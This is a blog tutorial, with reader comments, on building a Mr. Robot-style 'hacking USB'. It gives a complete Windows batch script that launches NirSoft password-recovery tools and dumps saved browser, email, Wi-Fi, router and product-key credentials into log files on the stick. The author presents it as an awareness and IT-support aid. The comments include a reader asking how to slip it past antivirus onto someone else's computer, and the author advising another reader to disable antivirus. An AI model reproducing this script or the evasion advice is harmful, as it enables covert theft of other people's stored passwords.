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How To Make A Hacking USB Like Mr. Robot

By April 26, 2018August 17th, 2021Tech

Usually I write about Internet Marketing and share with you different techniques you can use to grow your business, but today I decided to switch it up a little and create more of a “fun” post, like how to make a hacking USB similar to the one used in Mr. Robot.

For those who don’t know, Mr. Robot is American TV series about a young, anti-social computer hacker. In Season 2, Episode 6, one of the characters inserts a USB into a computer allowing the hackers to take control of the entire system.

The hacking USB you are going to make will quickly grab every password saved on the computer and save it to your USB.
This also includes Microsoft product keys and WiFi passwords.

Please note that I am not creating this tutorial so you can harm others, I am creating it so you can see how easy it is for someone to steal your passwords if you save them. The hacking USB is also extremely useful for IT technicians or for users who always seem to forget their passwords.

Also, this will only work computers running Windows and the files on there will be marked as malicious by virus scanners.

 

How To Make A Hacking USB

To create your hacking USB you will need to create a batch file and download a few applications included in a single package.
A batch file (also known as batch script) allows you to automate tasks and we are going to use it to run all of the applications and export their data to text files.

    1. 1. Create a new folder and call it Hacking USB.
    2. 2. Inside the folder create a folder called Tools.
    3. 3. Go to Nirsoft and download the package which includes all of the major password-recovery tools with command-line support.
    4. 4. Extract the files into the Tools folder using a program like 7-Zip.
    5. 5. Create a Text Document inside the Tools folder by right-clicking on the white space, clicking on New and selecting Text Document.
    6. 6. Rename the Text Document to Script.bat to turn it into a batch file.
      If you can’t see the .txt extension at the end of your new document then you will need to disable the feature Hide file extensions on your computer by using this guide.
    7. 7. Right-click on your batch file and click on Edit.
      The file should then open up in Notepad.
      I always recommend you use Note++ or Atom when doing any type of coding but for this tutorial Notepad will do.
    8. 8. Copy and paste the below code in the Notepad.
:: www.PeterStavrou.com

@echo off
:: Echo makes the command prompt window blank. You can try remove this to see what happens.

mkdir log
:: Creates a folder called log only if the folder does not already exist.

start BulletsPassView.exe /stext .\log\BulletsPassView-%computername%.txt
start ProduKey.exe /stext .\log\ProduKey-%computername%.txt
start ProtectedStorage.exe /stext .\log\ProtectedStorage-%computername%.txt
start RouterPassView.exe /stext .\log\RouterPassView-%computername%.txt
start WirelessKeyView.exe /stext .\log\WirelessKeyView-%computername%.txt
start ChromePass.exe /stext .\log\ChromePass-%computername%.txt
start Dialupass.exe /stext .\log\Dialupass-%computername%.txt
start iepv.exe /stext .\log\iepv-%computername%.txt
start mailpv.exe /stext .\log\mailpv-%computername%.txt
start mspass.exe /stext .\log\mspass-%computername%.txt
start netpass.exe /stext .\log\netpass-%computername%.txt
start PasswordFox.exe /stext .\log\PasswordFox-%computername%.txt
start WebBrowserPassView.exe /stext .\log\WebBrowserPassView-%computername%.txt
:: The above runs each application and exports the results as text documents using the naming convention ApplicationName-ComputerName
  1. 9. Save the Notepad.

Now if you run the Script.bat file you will notice that a folder called log has been created with a list of passwords.

 

Additional Steps (Optional)

If you’re like me and like to keep everything neat and tidy then the below steps are recommended.

1. Right-click the Script.bat file and select Create shortcut.

2. Move the shortcut you created from the folder Tools to the Folder Hacking USB.

3. Copy and paste the files onto a USB device.

 

Conclusion

As you can see it is very easy for someone to create a hacking USB to steal all your passwords which it is why you should be very careful when saving sensitive credentials such as bank details on your computer. Even though a lot of malicious programs are smart enough to bypass virus scanners, it is still recommended that you have one installed.

If you’re an IT technician, this USB is definitely very handy to have.
Also, if you are someone that forgets your passwords all the time then this is a great way to find them.

Do you like the TV show Mr. Robot?

34 Comments

  • Hamza says:

    I have made the hacking USB now when i connect in laptop and run it , it shows exe.file not found what does this means ? One more thing when i connected the (HACKING USB) in my phone it just asks to format becz it has corrupt file plz tell the process after connecting in my phone and also will it open my locked phone (if yes plz explain in simple words ) thankyou!!

  • klee says:

    how can i change the master password
    ?

  • hamza says:

    after completing the HACKING USB should i direct connect to my pc or my phone and it will grab all password and also i wanted to know after running the script file it shows the notepad in which i copy pasted the code is it going rightplz reply

  • Dawson Sereda says:

    whenever i run the bat file none of the programs can open, it keeps saying “windows cannot find the program, make sure its typed correctly and try again” how do i fix this

  • nikki says:

    WebBrowserPassView.exe and ChromePass.exe do not automatically save the file in log. any who has fix it?

  • jj says:

    is this gonna brick my PC? how can i trust you? has anyone done this before and had no issues?

    • Peter Stavrou says:

      Are you seriously asking me to explain to you why you should trust me? If you’re worried just don’t do it.
      All it does is run the Nirsoft in a script.

      • jj says:

        dude sorry if i sounded rude. the script worked and i have no issues. thanks for sharing your knowledge. Now i am worried about the number of saved passwords i have lol! gotta clean it up πŸ˜€

  • Kyle Liang says:

    It keeps saying that it can’t find the files? Can anyone help?

  • Methnil says:

    What is the password to extract to files in to the tools

  • Lee Cecilia says:

    Yeah of course
    mr robot movie change my life
    gives me inspiration
    I Love It….

  • Praveen K Leema says:

    Yeah of course
    mr robot movie change my life
    gives me inspiration
    I Love It….

  • Tom says:

    wondering if the is a way that it would be able to get past anti-virus protection. like would I be able to insert it into someone’s computer without the USB being squashed by anti-virus?

  • Seamus Dawson says:

    Whenever I run it, it says it cant find any of the files, however I can run them manually.

  • kjell says:

    can i maybe send you my files somehow? because i think i did something wrong didn’t fullt understand it because im a starting ITer and i thought this was a fun thing to make πŸ™‚ but it is a really awesome post. i appriciate you posting this stuff πŸ™‚

    • Peter Stavrou says:

      I’m glad you enjoyed the post.
      Your best bet would be to turn off your anti-virus when you create/run it to ensure it doesn’t remove any of the files.
      If you still have problems, you can always post your error on StackOverflow.

  • kjell says:

    is this actually safe for your pc? because when i made it and plugged it in my anti virus said it had stopped a virus. and i want to be safe.

  • Kaden Barnett says:

    if this perhaps grabs someones email password will this also give you the email address that is associated with the password?

  • Daniel says:

    How do I run the bat file?

  • Lee says:

    Thanks wry much I’ll try this.
    Does this auto run when putting usb in or do you need to run the bat file your self.
    Just wanted to no if this would get me my password for old laptop. Cheers.

    • Peter Stavrou says:

      No problem πŸ™‚
      Unfortunately USB do not auto-run from Windows 7 on-wards unless you get a special one (USB Rubber Duck)
      If you want to get into an old laptop that is locked you might find a solution on YouTube, I’ve seen videos use multiple programs to access a locked computer.
      This is for unlocked computers.

      • Lee says:

        I’ve hurd about the rubber ducky before. Might just buy one of them and read afew tutorials on that. But will still have a go at this so thanks.

  • Soham says:

    Nice Post sir.
    Thanks to sharing this helpful information.

  • Phillip says:

    This is one awesome post!

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